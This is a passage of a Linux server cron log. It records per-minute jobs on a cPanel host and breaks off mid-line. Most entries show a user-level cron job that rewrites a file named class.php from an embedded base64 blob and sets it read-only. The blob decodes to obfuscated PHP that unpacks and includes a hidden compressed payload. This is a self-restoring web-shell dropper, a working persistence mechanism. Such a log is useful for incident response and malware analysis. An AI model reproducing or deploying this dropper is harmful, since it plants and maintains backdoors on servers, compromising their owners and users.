QKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 12:54:01 server CROND[4817]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 12:55:01 server CROND[4877]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  9 12:55:01 server CROND[4878]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 12:55:01 server CROND[4879]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  9 12:56:01 server CROND[5085]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 12:57:01 server CROND[5170]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr  9 12:57:01 server CROND[5171]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 12:58:01 server CROND[5233]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 12:59:01 server CROND[5306]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 13:00:01 server CROND[5362]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 13:00:01 server CROND[5363]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  9 13:00:01 server CROND[5364]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr  9 13:00:01 server CROND[5365]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  9 13:01:01 server CROND[5485]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 13:01:01 server CROND[5486]: (root) CMD (run-parts /etc/cron.hourly)
Apr  9 13:01:01 server run-parts(/etc/cron.hourly)[5486]: starting 0anacron
Apr  9 13:01:01 server run-parts(/etc/cron.hourly)[5498]: finished 0anacron
Apr  9 13:02:01 server CROND[5652]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 13:03:01 server CROND[5718]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 13:04:01 server CROND[5785]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 13:05:01 server CROND[5907]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 13:05:01 server CROND[5908]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  9 13:05:01 server CROND[5910]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr  9 13:05:01 server CROND[5909]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  9 13:06:01 server CROND[6015]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 13:07:01 server CROND[6170]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9f